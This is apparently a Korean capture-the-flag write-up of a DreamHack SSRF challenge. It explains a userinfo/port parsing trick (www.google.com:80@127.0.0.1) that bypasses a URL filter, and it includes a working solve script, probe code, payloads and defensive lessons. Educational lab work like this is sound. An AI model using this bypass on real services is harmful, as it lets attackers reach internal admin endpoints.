문제: DreamHack — Broken Is SSRF possible? 분류: web 난이도: 🥈 Silver 3 FLAG:
DH{please_share_your_idea_okay_good}
문제 설명은 한 줄이 전부다. "퍼벙-(ssrf 터지는 소리)". 제목에 박힌 Broken 이 무엇을 가리키는지가 이 문제의 전부인데, 소스를 열어 보면 그 답이 주석 처리된 세 줄로 남아 있다.

문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Broken Is SSRF possible? |
| 난이도 | 🥈 Silver 3 |
| 분류 | web |
| 스택 | Python 3.10 · Flask · requests · python:3.10-slim |
| 제공 파일 | app.py · Dockerfile · requirements.txt |
| 서버 | http://host3.dreamhack.games:12690/ (드림핵 VM) |
| 핵심 취약점 | URL authority 파싱 불일치 — 필터가 보는 호스트와 HTTP 클라이언트가 접속하는 호스트가 다르다 |
플래그는 /flag 가 들고 있는데, 전역 변수 flag 와 내가 넘긴 닉네임의 SHA-256
이 같아야 내준다. 그 전역 변수를 바꿀 수 있는 곳은 /admin 하나뿐이고 /admin
은 remote_addr 가 127.0.0.1 일 때만 동작한다.
그래서 할 일은 단순하다. 서버가 자기 자신의 /admin?nickname=내가_아는_값
을 호출하게 만들면 된다. 그 길목에 서 있는 게 /check-url 의 SSRF 필터고, 이
글은 그 필터를 어떻게 지나갔는지에 대한 기록이다.
🧩 배경 — SSRF 필터는 대개 같은 자리에서 터진다
SSRF 방어 코드는 보통 두 단계로 짜인다. 먼저 URL 문자열에서 호스트를 뽑아 화이트리스트나 사설 대역과 비교하고, 그다음 HTTP 클라이언트로 그 URL을 실제로 요청한다.
문제는 두 단계가 같은 문자열을 서로 다른 파서로 읽는다는 데 있다. 앞 단계는 사람이 손으로 짠 정규식이고, 뒤 단계는 RFC 3986 을 따르는 라이브러리다. 두 해석이 갈리는 입력을 하나만 찾으면 검사는 통과하고 요청은 엉뚱한 데로 간다.
갈리기 쉬운 지점은 몇 군데로 정해져 있다.
-
userinfo—@앞은 사용자 정보지 호스트가 아니다. 손으로 짠 파서는 이걸 모른다. -
fragment—#뒤는 서버로 전송조차 되지 않는다. -
포트 구분자
:— 호스트와 포트를 가르는 콜론을 어디서 찾느냐에 따라 결과가 달라진다. -
IP 표기법 — 십진수
2130706433, 8진수0177.0.0.1, IPv6 매핑[::ffff:127.0.0.1].
이번 문제가 건드리는 건 이 중 앞의 셋이다. 그리고 출제자는 @ 와 # 을 막는
코드를 써 놓고 주석 처리했다.
🔬 코드 정찰 — app.py 를 뜯어본다
배포본은 파일 세 개가 전부다. Dockerfile 은 python:3.10-slim 위에 Flask 와
requests 만 올리고 app.py 를 80 번 포트로 띄운다.
라우트는 셋이다.
@app.route('/check-url', methods=['POST']) # 사용자가 준 URL 을 검사하고 요청해 준다
@app.route('/admin', methods=['GET']) # remote_addr == 127.0.0.1 이어야 함. flag 를 덮어쓴다
@app.route("/flag", methods=['POST']) # flag == sha256(nickname) 이면 DH{...}/admin 과 /flag 는 짧아서 그대로 옮겨 둔다.
@app.route('/admin',methods=['GET'])
def admin():
global flag
user_ip = request.remote_addr
if user_ip != "127.0.0.1":
return "only localhost."
if request.args.get('nickname'):
nickname = request.args.get('nickname')
flag = sha256_hash(nickname)
return "success."
@app.route("/flag",methods=['POST'])
def clear():
global flag
if flag == sha256_hash(request.args.get('nickname')):
return "DH{REDACTED}"
else:
return "you can't bypass SSRF-FILTER zzlol 😛"/admin 은 닉네임을 받아 전역 flag 를 그 해시로 덮어쓴다. 플래그를 읽는
게 아니라 쓰는 쪽이라는 점이 중요하다. 즉 원래 값이 뭐였는지는 알 필요가 없고,
내가 아는 문자열의 해시로 바꿔치기한 다음 /flag 에 그 문자열을 내밀면 된다.
브라우저로 /admin 을 직접 때려 보면 당연히 막힌다.

혹시 전역 flag 의 초기값이 공개된 문자열의 해시는 아닐까 싶어 먼저 대조했다.
app.py 10행에 하드코딩된 해시가 있고, main 은 또 다른 해시를 하나 찍는다.
둘이 같으면 그 원문만 /flag 에 넣고 끝날 일이다.
#!/usr/bin/env python3
# app.py 는 전역 flag 를 해시 한 줄로 들고 시작하고, main 에서 또 다른 해시를 찍는다.
# 둘이 같으면 /flag 에 그 원문만 넣으면 끝나므로 먼저 대조해 본다.
import hashlib
INITIAL = "d23b51c4e4d5f7c4e842476fea4be33ba8de9607dfe727c5024c66f78052b70a"
HINT = "당신의 창의적인 공격 아이디어를 보여주세요!"
print("app.py 10행 flag :", INITIAL)
print("main 이 찍는 해시 :", hashlib.sha256(HINT.encode()).hexdigest())
print("일치 여부 :", hashlib.sha256(HINT.encode()).hexdigest() == INITIAL)python3 hash_check.pyapp.py 10행 flag : d23b51c4e4d5f7c4e842476fea4be33ba8de9607dfe727c5024c66f78052b70a
main 이 찍는 해시 : 0283153f9e56fcce0e5b8c3b10a27918c2780e99f04c54db77a40e9d193d6a50
일치 여부 : False지름길은 없다. SSRF 로 가야 한다.
주석 처리된 세 줄
check_ssrf() 의 첫머리를 보면 제목의 뜻이 바로 드러난다.
cat -n extracted/app.py | sed -n "19,46p"
22~24행이 범인이다.
# if "@" in url or "#" in url:
# isSafe = False
# return "Fail"출제자는 userinfo 와 fragment 를 막아야 한다는 걸 알고 있었고, 코드까지 썼다가 주석으로 묻어 뒀다. 제목의 Broken 은 이 세 줄을 가리킨다.
남은 검사는 이렇다.
-
protocol = re.match(r'^[^:]+', url)— 첫 콜론 앞이http나https여야 한다. -
host = re.search(r'(?<=//)[^/]+', url)— 처음 나오는//뒤부터 다음/전까지를 호스트로 본다. -
if ":" in host: host = host.split(":"); host = host[0]— 콜론이 있으면 첫 조각만 남긴다. -
socket.gethostbyname(host)로 해석한 IP 가 사설 대역이면 거절. 이걸 1초 간격으로 60번 반복한다. -
requests.get(url, allow_redirects=False)로 한 번 요청해 보고 3xx 면location을 들고 재귀.
그리고 /check-url 핸들러 자신도 같은 방식으로 호스트를 뽑아 www.google.com
인지 본다. 즉 호스트 추출 로직은 두 군데에 똑같이 복사돼 있고, 화이트리스트
비교는 핸들러 쪽에만 있다.
🧱 배경 — authority 안에서 호스트는 어디부터인가
URL 의 // 와 다음 / 사이를 authority 라고 부른다. RFC 3986 은 이걸 이렇게
쪼갠다.
authority = [ userinfo "@" ] host [ ":" port ]@ 가 있으면 그 앞은 전부 userinfo 고, 호스트는 마지막 @ 다음부터
시작한다. 브라우저 주소창에 http://user:pass@example.com/ 을 치면 example.com
으로 가면서 Basic 인증을 붙여 주는 그 문법이다.
app.py 의 정규식은 authority 를 통째로 집어낸다. 거기까지는 맞다. 문제는
그다음 줄이다. 포트를 떼려고 split(":")[0] 을 쓰는데, @ 를 모르는 파서에게
www.google.com:80@127.0.0.1 은 "콜론이 하나 있는 문자열" 일 뿐이다. 첫 조각
www.google.com 만 남고 ** @ 뒤의 진짜 호스트가 통째로 잘려 나간다.**
그리고 사설 대역 검사는 socket.gethostbyname() 과 ipaddress.is_private 두
줄이 전부다. 잘려 나간 뒤의 호스트가 www.google.com 인 이상, 이 검사는 60번을
돌려도 통과한다.
#!/usr/bin/env python3
# check_ssrf() 의 내부망 검사는 socket.gethostbyname() + ipaddress.is_private 두 줄이 전부다.
# 페이로드의 호스트가 www.google.com 으로 읽히는 한, 이 검사는 60번을 돌려도 통과한다.
import ipaddress
import socket
for host in ("www.google.com", "127.0.0.1", "localhost", "169.254.169.254"):
try:
ip = socket.gethostbyname(host)
except OSError as e:
print("%-18s -> 해석 실패 (%s)" % (host, e))
continue
priv = ipaddress.ip_address(ip).is_private
print("%-18s -> %-15s is_private = %-5s %s"
% (host, ip, priv, "차단" if priv else "통과"))python3 dns_check.py
🐛 막힌 방향들
처음부터 userinfo 로 간 건 아니다. 세 갈래를 먼저 찔러 봤고 전부 접었다.
▶🐛 삽질 1 — 리다이렉션 체인으로 넘기려다
check_ssrf() 는 응답이 3xx 면 location 을 들고 자기를 다시 부른다. 재귀
쪽에는 화이트리스트 비교가 없으니, 내가 띄운 서버가
Location: http://127.0.0.1/admin?... 을 주면 될 것처럼 보인다.
try:
response = requests.get(url,allow_redirects=False)
if 300 <= response.status_code and response.status_code <= 309:
redirect_url = response.headers['location']
print("리다이렉션이 감지되었습니다.",redirect_url)
if len(redirect_url) >= 120:
isSafe = False
return "fail"
check_ssrf(redirect_url,checked + 1)여기서 두 가지가 걸렸다.
첫째, 재귀 안에서도 socket.gethostbyname() + is_private 검사를 60초 동안 또
돈다. 127.0.0.1 은 그 자리에서 걸린다. 중간 홉이 하나 늘 때마다 1분씩 더
기다리는 것도 덤이다.
둘째, 애초에 첫 홉의 호스트가 www.google.com 이어야 한다. 내 서버로
리다이렉트를 받으려면 구글이 내 주소로 302 를 줘야 하는데 그럴 리가 없다.
검증 요청과 실제 요청이 따로 나간다는 점을 노려 TOCTOU 를 거는 변형도 생각해
봤다. 같은 URL 에 대해 requests.get 이 두 번 호출되니, 첫 번째엔 얌전한 응답을
주고 두 번째에 루프백으로 리다이렉트하면 된다. 하지만 이것도 첫 홉이 내 서버여야
성립한다. 결국 호스트 화이트리스트를 먼저 깨지 않으면 어떤 변형도 못 쓴다.
▶🐛 삽질 2 — fragment 로 뒤를 끊어 보기
주석에 # 도 같이 적혀 있던 걸 보고 fragment 쪽을 먼저 시험했다.
http://www.google.com#@127.0.0.1/admin 이면 브라우저는 google.com 으로 가고
뒤는 버린다.
필터 입장에서는 반대로 움직인다. (?<=//)[^/]+ 는 / 를 만날 때까지 먹으므로
www.google.com#@127.0.0.1 을 통째로 잡고, 콜론이 없으니 split 도 안 돈다.
호스트가 그대로 남아 비교에서 떨어진다.
로컬 컨테이너에 여섯 가지 모양을 한꺼번에 던져 어느 것이 화이트리스트를
지나는지부터 확인했다. 즉시 응답이 오면 핸들러의 호스트 비교에서 걸린 것이고,
응답이 없으면 check_ssrf() 의 60초 루프까지 들어갔다는 뜻이다.
#!/usr/bin/env python3
# /check-url 의 호스트 화이트리스트가 어떤 모양의 URL 을 통과시키는지 로컬 컨테이너로 확인한다.
# 즉시 응답 = check_url() 의 호스트 비교에서 바로 걸린 것,
# 타임아웃 = check_ssrf() 의 60초 IP 재검증 루프까지 들어간 것(= 호스트 검사 통과).
import sys
import unicodedata
import requests
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:18412"
NICK = "probe"
CASES = [
("127.0.0.1 직접", "http://127.0.0.1/admin?nickname=" + NICK),
("localhost", "http://localhost/admin?nickname=" + NICK),
("정상 구글", "http://www.google.com/"),
("@ 만 붙임", "http://www.google.com@127.0.0.1/admin?nickname=" + NICK),
("# 만 붙임", "http://www.google.com#@127.0.0.1/admin?nickname=" + NICK),
("@ + 포트 표기", "http://www.google.com:80@127.0.0.1/admin?nickname=" + NICK),
]
def pad(text, width):
"""한글이 2칸을 먹으므로 표시 너비 기준으로 맞춘다."""
w = sum(2 if unicodedata.east_asian_width(c) in "WF" else 1 for c in text)
return text + " " * max(0, width - w)
for label, url in CASES:
try:
r = requests.post(BASE + "/check-url", json={"url": url}, timeout=8)
verdict = r.text.strip()[:46]
except requests.exceptions.ReadTimeout:
verdict = ">>> 8초 무응답 = IP 재검증 루프 진입 (호스트 검사 통과)"
print("[%s] %-58s %s" % (pad(label, 14), url, verdict))python3 probe_filter.py
여섯 줄 중 통과한 건 둘뿐이다. 하나는 진짜 구글, 하나는 포트를 끼워 넣은 형태.
▶🐛 삽질 3 — DNS 리바인딩은 설계상 막혀 있다
gethostbyname 과 실제 요청 사이의 시간차를 노리는 게 SSRF 의 고전이다. 그런데
이 코드는 그 틈을 일부러 넓혀 놨다.
for _ in range(60):
print("IP를 검증 중입니다..", _)
ip_address = socket.gethostbyname(host)
if ipaddress.ip_address(ip_address).is_private:
print("내부망 IP가 감지되었습니다. ")
isSafe = False
return "Fail"
time.sleep(1) # 1초 대기1초마다 60번을 다시 해석한다. 그 60초 안에 레코드를 한 번이라도 사설 IP 로 바꾸면 걸린다. 루프가 끝난 직후에 바꾸는 윈도우가 이론적으로 남지만, 외부 DNS 서버와 TTL 을 들고 초 단위로 맞춰야 하는 작업이다. 호스트 문자열 자체를 속이는 쪽이 비교도 안 되게 싸다.
💣 핵심 — 콜론 하나가 필터를 무력화한다
통과한 형태는 http://www.google.com:80@127.0.0.1/admin?nickname=X 였다. 왜
이것만 되는지 직접 확인해 보자.
같은 문자열을 두 코드가 어떻게 읽는지 나란히 출력했다. 위쪽은 app.py 의 호스트
추출 로직을 그대로 옮긴 것이고, 아래쪽은 requests 가 접속 대상을 정할 때 실제로
쓰는 urllib3 파서다.
#!/usr/bin/env python3
# 같은 문자열을 (1) app.py 의 필터와 (2) requests 가 서로 다르게 읽는다는 것을 직접 보여준다.
# (1) 은 app.py 94~102행 / 36~45행을 그대로 옮긴 것이고,
# (2) 는 requests 가 접속 대상을 정할 때 실제로 쓰는 urllib3 파서다.
import re
import urllib3.util
from requests import Request
URLS = [
"http://127.0.0.1/admin?nickname=x",
"http://www.google.com@127.0.0.1/admin?nickname=x",
"http://www.google.com:80@127.0.0.1/admin?nickname=x",
]
def filter_host(url):
"""app.py 가 화이트리스트 비교에 쓰는 호스트 추출 로직 (원본 그대로)"""
host = re.search(r'(?<=//)[^/]+', url)
if host is None:
return None
host = host.group()
if ":" in host:
host = host.split(":")
host = host[0]
return host
for url in URLS:
seen = filter_host(url)
real = urllib3.util.parse_url(url)
prep = Request("GET", url).prepare()
print("URL :", url)
print(" app.py 필터가 보는 호스트 :", seen, " ->",
"통과" if seen == "www.google.com" else "거절")
print(" urllib3 가 실제로 붙는 곳 :", real.host, "port", real.port or 80,
"| auth =", real.auth)
print(" requests Authorization :", prep.headers.get("Authorization"))
print()python3 parse_demo.py
세 번째 줄이 전부다. 필터는 www.google.com 을, urllib3 는 127.0.0.1 을 본다.
그리고 www.google.com:80 은 user:password 모양이라 그대로
Authorization: Basic 헤더가 된다.
@ 만 붙인 두 번째 줄과 비교해 보면 왜 포트가 필요한지가 선명해진다. 콜론이
없으면 split(":") 분기 자체가 안 돌아서 호스트 문자열이
www.google.com@127.0.0.1 그대로 남는다. 포트 표기는 접속에 필요한 게 아니라,
필터의 잘라내기 로직을 발동시키려고 넣는 것이다.

파이썬 라이브러리만 그렇게 읽는 건 아니다. curl 에 같은 문자열을 주면 똑같이 동작한다.
curl -sv --max-time 8 "http://www.google.com:80@127.0.0.1:18412/admin?nickname=curl-demo"
Server auth using Basic with user 'www.google.com' 과 Host: 127.0.0.1:18412
가 나란히 찍힌다. 호스트 이름처럼 생긴 문자열이 자격증명 자리로 내려앉은 것이다.
마지막 줄의 only localhost. 도 눈여겨볼 만하다. 내 PC 에서 보낸 요청이라
remote_addr 는 도커 브리지 주소다. userinfo 트릭은 목적지를 바꾸는 것이지
출발지를 바꾸는 게 아니다. 루프백에서 온 요청으로 만들려면 어차피 서버가
스스로 요청하게 해야 한다.
🎯 익스플로잇 — 라이브 서버에서
/check-url 은 POST 에 Content-Type: application/json 이라 주소창만으로는
못 부른다. 그래서 같은 오리진에 머문 채로 브라우저 쪽에서 fetch 를 날리고,
요청 URL 과 응답 본문을 페이지에 그대로 그려 둔 뒤 창을 찍었다. 주소창에 라이브
호스트가 남아 있는 건 그래서다.
fetch('/check-url', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url: u })
}).then(r => Promise.all([r.status, r.text()]))
.then(([s, t]) => { o.textContent = 'HTTP ' + s + '\n' + t; });먼저 루프백을 그대로 넣어 본다.

다음은 @ 만 붙인 형태. 로컬에서 본 것과 같은 이유로 거절된다.

이제 포트를 끼운다. 응답까지 1분 넘게 걸린다. 그동안 서버는 www.google.com 을
60번 다시 해석하면서 "안전한 외부 주소" 라고 확인하고 있다.

{"status_code": 200, ...} 이 돌아왔다. 필터가 통과를 내줬고, 핸들러 마지막
줄의 requests.get(url) 이 실제로 요청을 보냈다는 뜻이다. 이 시점에 전역 flag
는 이미 sha256("zino-browser") 로 바뀌어 있다.
서버가 정말 자기 자신을 불렀을까
로컬 컨테이너의 접속 로그를 보면 확실해진다.
docker logs broken-ssrf-1412 2>&1 | grep -E "^(127|172)\."
172.17.0.1 은 내 PC(도커 브리지)에서 보낸 POST /check-url 과 POST /flag
다. 그 사이에 127.0.0.1 에서 온 GET /admin 이 두 번 찍혀 있다.
두 번인 이유는 check_ssrf() 안의 requests.get(url, allow_redirects=False) 와
핸들러 끝의 requests.get(url) 이 각각 한 번씩 보내기 때문이다. 검사와 실행이
같은 URL 을 두 번 따라가는 구조라, 애초에 TOCTOU 를 심으려면 여기가 자리였다.
이번엔 그럴 필요가 없었을 뿐이다.
출발지가 127.0.0.1 로 찍혔으니 /admin 의 remote_addr 검사는 그대로
통과한다.
🚀 Full Exploit
전체 흐름은 요청 두 번이면 끝난다. /check-url 로 서버가 자기 /admin 을
부르게 만들고, 바로 /flag 에 같은 닉네임을 내민다.
#!/usr/bin/env python3
# Broken Is SSRF possible? (DreamHack, Silver 3, web) - solver
#
# 흐름
# 1) /check-url 은 url 의 호스트가 www.google.com 인지만 본다.
# 호스트 추출이 정규식 (?<=//)[^/]+ 이고, ':' 가 있으면 split(':')[0] 을 쓴다.
# 그래서 "http://www.google.com:80@127.0.0.1/..." 은
# - 호스트 문자열 = "www.google.com:80@127.0.0.1"
# - split(':')[0] = "www.google.com" -> 화이트리스트 통과
# - gethostbyname("www.google.com") -> 공인 IP -> 내부망 검사 통과
# 반면 requests 는 "www.google.com:80" 을 userinfo 로 보고 실제로는
# 127.0.0.1 에 붙는다. (app.py 22~24행의 '@' 차단이 주석 처리돼 있다)
# 2) 그렇게 서버가 자기 자신의 /admin?nickname=<NICK> 을 호출하면
# remote_addr 가 127.0.0.1 이라 전역 flag 가 sha256(<NICK>) 으로 덮인다.
# 3) POST /flag?nickname=<NICK> -> flag == sha256(nickname) 이 성립해 DH{...} 가 나온다.
#
# 사용법: python3 solve.py http://host1.dreamhack.games:PORT [nickname]
import hashlib
import sys
import time
import requests
BASE = sys.argv[1].rstrip("/")
NICK = sys.argv[2] if len(sys.argv) > 2 else "zino-%d" % int(time.time())
# ':' 가 있어야 split(':')[0] 로 www.google.com 이 떨어진다. 포트는 아무 값이나 된다.
PAYLOAD = "http://www.google.com:80@127.0.0.1/admin?nickname=" + NICK
print("[*] target :", BASE)
print("[*] nickname :", NICK)
print("[*] sha256 :", hashlib.sha256(NICK.encode()).hexdigest())
print("[*] payload :", PAYLOAD)
# check_ssrf 가 1초 sleep 을 60번 돌며 DNS 를 재확인한다 -> 응답까지 60초 이상 걸린다.
print("[*] POST /check-url (서버가 60초간 IP 재검증 루프를 돈다)")
t0 = time.time()
r = requests.post(
BASE + "/check-url",
json={"url": PAYLOAD},
timeout=180,
)
print("[+] %.1fs %d %s" % (time.time() - t0, r.status_code, r.text.strip()))
if "status_code" not in r.text:
print("[-] 필터를 통과하지 못했다. 중단.")
sys.exit(1)
print("[*] POST /flag")
r = requests.post(BASE + "/flag", params={"nickname": NICK}, timeout=30)
print("[+] %d %s" % (r.status_code, r.text.strip()))먼저 로컬 컨테이너로 돌려 봤다. 배포본 app.py 의 /flag 는 진짜 플래그 대신
DH{REDACTED} 를 돌려주므로, 이 출력은 "우회가 성립해 플래그 분기에 도달했다"
는 뜻이다.
python3 solve.py http://127.0.0.1:18412 zino-local-check
그다음 같은 스크립트를 라이브 서버에 그대로 돌렸다. 인자만 바꾸면 된다.
python3 solve.py http://host3.dreamhack.games:12690 zino-ssrf-1412
브라우저 쪽에서도 같은 닉네임으로 /flag 를 부르면 같은 값이 나온다.
fetch('/flag?nickname=zino-browser', { method: 'POST' })
.then(r => Promise.all([r.status, r.text()]))
.then(([s, t]) => { o.textContent = 'HTTP ' + s + '\n' + t; });
DH{please_share_your_idea_okay_good}문제 이름값을 하는 플래그다. 설명 한 줄과 main 이 찍는 해시의 원문이 모두
"창의적인 공격 아이디어를 보여 달라" 였는데, 플래그도 같은 말을 하고 있다.
🧪 재현
배포본만 가지고 체인 전체를 다시 돌릴 수 있게 스크립트를 하나 남겨 뒀다. 인자
없이 돌리면 도커로 컨테이너를 띄워 자리표시자 플래그까지 확인하고, --live 에
VM 주소를 주면 진짜 플래그를 받아 대조한다.
▶📄 reproduce.sh — 빌드부터 플래그 대조까지
#!/usr/bin/env bash
# Broken Is SSRF possible? (DreamHack 1412, Silver 3, web) — 한 방 재현.
#
# 기본(인자 없음) : 배포본으로 컨테이너를 띄워 익스 체인 전체를 돌린다.
# 배포본 app.py 의 /flag 는 진짜 flag 대신 "DH{REDACTED}" 를 돌려주므로
# 여기서의 PASS 는 "우회가 성립해 flag 분기에 도달했다"는 뜻이다.
# 진짜 flag 는 라이브 서버에서만 나온다(아래 --live).
# ./reproduce.sh
#
# 라이브 검증 : 드림핵 VM 주소를 주면 진짜 flag 를 받아 문제.json 과 대조한다.
# ./reproduce.sh --live http://host3.dreamhack.games:PORT
set -eu
cd "$(dirname "$(readlink -f "$0")")"
IMAGE=broken-ssrf-1412
NAME=broken-ssrf-1412-repro
PORT=${PORT:-18412}
if [ "${1:-}" = "--live" ]; then
BASE=${2:?--live 뒤에 http://host:port 를 적어라}
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
WANT_REDACTED=0
else
echo "[*] 배포본으로 컨테이너를 빌드한다 (extracted/Dockerfile)"
docker build -q -t "$IMAGE" ./extracted >/dev/null
docker rm -f "$NAME" >/dev/null 2>&1 || true
docker run -d --name "$NAME" -p "$PORT":80 "$IMAGE" >/dev/null
trap 'docker rm -f "$NAME" >/dev/null 2>&1 || true' EXIT
sleep 3
BASE="http://127.0.0.1:$PORT"
EXPECT='DH{REDACTED}'
WANT_REDACTED=1
fi
echo "[*] 익스 실행 — /check-url 이 60초 IP 재검증 루프를 돌아 1분 넘게 걸린다"
OUT=$(timeout 300 python3 solve.py "$BASE" "repro-$(date +%s)" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
echo
if [ "$WANT_REDACTED" = "1" ]; then
echo "✅ PASS $FLAG (배포본은 flag 를 가린 채로 배포된다 — 우회 체인은 성립)"
else
echo "✅ PASS $FLAG"
fi
exit 0
fi
echo
echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"
exit 1./reproduce.sh[*] 배포본으로 컨테이너를 빌드한다 (extracted/Dockerfile)
[*] 익스 실행 — /check-url 이 60초 IP 재검증 루프를 돌아 1분 넘게 걸린다
[*] target : http://127.0.0.1:18413
[*] nickname : repro-1792524612
[*] sha256 : 9585762e355b86a4194a1cf130ca019f5f1582ea00300db21150a187dd2fdcd2
[*] payload : http://www.google.com:80@127.0.0.1/admin?nickname=repro-1792524612
[*] POST /check-url (서버가 60초간 IP 재검증 루프를 돈다)
[+] 60.4s 200 {"status_code":200,"url":"http://www.google.com:80@127.0.0.1/admin?nickname=repro-1792524612"}
[*] POST /flag
[+] 200 DH{REDACTED}
✅ PASS DH{REDACTED} (배포본은 flag 를 가린 채로 배포된다 — 우회 체인은 성립)로컬 환경은 Ubuntu 25.10 · Python 3.13.9 · Docker 28.5.2 였고, 컨테이너는 배포본
Dockerfile 그대로 python:3.10-slim 이다. --live 쪽은 드림핵 인스턴스가
살아 있을 때만 의미가 있다.
📝 결론
검사한 문자열과 접속한 문자열이 같아도 안전하지 않다
같은 URL 문자열을 두 번 파싱하면 두 결과가 다를 수 있다. 이 문제의 필터는
정규식으로 authority 를 잘 잡아냈고, 사설 대역도 60번이나 확인했고, 리다이렉션
깊이까지 제한했다. 그런데 split(":")[0] 한 줄 때문에 전부 소용없어졌다.
호스트를 직접 파싱하지 말고 라이브러리에 맡긴다
방어 코드가 봐야 하는 값은 "HTTP 클라이언트가 실제로 접속할 호스트" 다. 그러니
그 값을 같은 계통의 파서에서 꺼내 와야 한다. 파이썬이면
urllib.parse.urlsplit(url).hostname 이나 urllib3.util.parse_url(url).host
다. 정규식으로 다시 긁는 순간 두 해석이 갈릴 여지가 생긴다.
문자열 검사 대신 해석된 주소를 검사한다
더 확실한 방법은 문자열 단계에서 끝내지 않는 것이다. 호스트를 해석한 뒤 소켓을 연결할 때 그 IP 를 한 번 더 확인하거나, 애초에 아웃바운드를 프록시 한 곳으로 몰아 거기서 목적지를 통제한다. 문자열 수준의 화이트리스트는 우회 표기법을 하나씩 막는 싸움이 되고, 그 싸움은 대체로 진다.
주석 처리한 보안 코드는 없는 것과 같다
이번 문제의 @ 차단은 주석 세 줄로 남아 있었다. 디버깅하다 잠깐 꺼 둔 검사가
그대로 배포되는 일은 실제 서비스에서도 흔하다. 검사를 끄려면 테스트가 깨지도록
짜 두는 편이 낫다.
읽기가 아니라 쓰기를 노리는 길도 있다
/admin 은 플래그를 보여주지 않고 덮어쓰기만 한다. 원래 값은 끝까지 모르지만
문제는 풀렸다. 비교 대상을 내가 아는 값으로 바꿀 수 있으면 비교를 통과하는 데
원본을 알 필요가 없다. 비밀번호 재설정 토큰이나 서명 키를 다루는 코드에서도 같은
구도가 나온다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…